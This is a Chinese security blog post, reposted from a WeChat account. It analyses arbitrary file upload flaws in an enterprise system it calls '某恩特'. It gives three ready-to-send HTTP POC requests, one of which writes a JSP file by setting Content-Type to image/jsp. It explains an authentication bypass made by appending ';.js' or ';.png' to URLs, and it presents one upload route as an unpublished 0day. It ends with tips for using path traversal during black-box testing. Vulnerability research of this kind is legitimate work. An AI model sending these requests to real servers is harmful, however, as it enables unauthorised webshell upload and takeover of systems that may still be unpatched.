某恩特文件上传漏洞分析

admin 2024年2月24日22:27:18评论20 views字数 3017阅读10分3秒阅读模式
 

0X01 前言

最近这段时间某恩特,公众号到处在发,该系统的0day漏洞,可谓是漫天飞了,且利用方式也及其简单,本文就是对该系统目前所爆出来的漏洞进行一个漏洞分析,并在最后给出一个该系统未被公布的0day
基本上都是这两天的,非常的集中

0X02 漏洞分析

我们来看一下最开始原始的POC

POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=1.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

11111

定位到fileupload.jsp文件,只能说相当的简单粗暴有没有,获取输入流,获取文件名,直接保存导致任意文件上传的发生

某恩特文件上传漏洞分析

但实际在测试过程中,发现该漏洞影响范围并不是很多,很多均进行了修复,我在测试过程中仅仅成功了2个

某恩特文件上传漏洞分析

且这套系统对jsp之类的脚本文件均做了鉴权,也就是说先前爆出来的漏洞fileupload.jsp在开发者允许访问白名单中

某恩特文件上传漏洞分析

继续深入探索,查看web.xml,发现Filter,通过jd-gui反编译common.jar文件即可查看相关代码

某恩特文件上传漏洞分析

从字面意思上,就可以看见排除了如下后缀,和路径文件

某恩特文件上传漏洞分析

其判断鉴权部分模块,通过contains来判断是否包含需要排除的字符和路径

某恩特文件上传漏洞分析

所以访问jsp文件或者需要登录的文件我们可以通过在后缀;.js ;.jpg;.html等方式绕过登录限制

某恩特文件上传漏洞分析

某恩特文件上传漏洞分析

而entsoft_en也赫然在列,再去看看entsoft中的filupload.jsp,和其他相关的upload

某恩特文件上传漏洞分析

依然是个妥妥的任意文件上传,只不过判断了文件是否是jpg,如果是后缀就变成了jpeg

某恩特文件上传漏洞分析

继续查看web.xml

某恩特文件上传漏洞分析

定位到实现类

某恩特文件上传漏洞分析

反编译查看

某恩特文件上传漏洞分析

定位到MailAction,获取到了三个参数,method,act,eid,后面判断method和act是对应的值,如果是则跳到对应的实现方法中,比如saveAttaFile
我们主要看获取文件名的操作,以及文件名是否可控,可以看见,并未对文件后缀进行任何过滤,导致任意文件上传的发生

某恩特文件上传漏洞分析

利用POC

POST /entsoft/MailAction.entphone;.png?act=saveAttaFile HTTP/1.1
Host: xx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Length: 179

------WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Disposition: form-data; name="file";filename="beautif.js"
Content-Type: xxx/txt

1
------WebKitFormBoundarye8FPHsIAq9JN8j2A--

POC中的;.png同上,绕过登录限制,继续查看该代码文件发现其AppUpload方法也存在文件上传功能,其文件名判断了contentype是否不为空,以及contentype是否包含image,之后在取contentype中的值作为后缀,我们可以通过image/jsp绕过

某恩特文件上传漏洞分析

某恩特文件上传漏洞分析

某恩特文件上传漏洞分析

新的POC

POST /entsoft/MailAction.entphone;.js?act=AppUpload&bodyID=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------255059884712683317431739889351
Content-Length: 259
Origin: 
Connection: close
Referer: 
Cookie: 

-----------------------------255059884712683317431739889351
Content-Disposition: form-data; name="file"; filename="1.png"
Content-Type: image/jsp

<%= (new java.util.Date()).toLocaleString()%>
-----------------------------255059884712683317431739889351--

其他Action中基本上只要有上传基本上都有该类问题,比如/entsoft/CustomerAction.entphone;.js?method=loadFile,注入什么的也不少,该有的漏洞他都有,主要该系统影响的范围也不小,基本上都是通杀的类型。

0X03 总结

感觉最值得利用的一点就是鉴权绕过的方式,我们在黑盒测试的过程中,可以多试试;.js ;.png 之类的方式,以及通过/xxx可访问的路径/../鉴权路径目录穿越的方式,说不定也有奇效。

文章来源: https://xz.aliyun.com/t/13088文章作者:AGONI如有侵权,联系删除

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

 

原文始发于微信公众号(白帽子左一):某恩特文件上传漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月24日22:27:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某恩特文件上传漏洞分析http://cn-sec.com/archives/2522483.html

发表评论

匿名网友 填写信息